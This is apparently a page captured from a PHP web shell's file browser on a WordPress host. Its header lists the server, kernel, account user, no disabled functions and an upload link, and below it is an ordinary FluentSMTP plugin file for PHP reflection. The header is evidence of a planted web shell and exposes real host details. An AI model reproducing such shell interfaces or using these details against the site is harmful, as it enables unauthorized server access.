HEX
Server: Apache
System: Linux p3plzcpnl506847.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: slfopp7cb1df (5698090)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: /home/slfopp7cb1df/www/klasiboi.com/wp-content/plugins/fluent-smtp/includes/Core/Reflection.php
<?php

namespace FluentMail\Includes\Core;

use ReflectionParameter;
use ReflectionNamedType;

class Reflection
{
    private static function isPhp8OrHigher()
    {
        return PHP_VERSION_ID >= 80000;
    }

    public static function getClassName(ReflectionParameter $parameter)
    {
        if (static::isPhp8OrHigher()) {
            $type = $parameter->getType();
            if ($type instanceof ReflectionNamedType && !$type->isBuiltin()) {
                return $type->getName();
            }

            return null;
        }

        $class = $parameter->getClass();

        return $class ? $class->getName() : null;
    }
}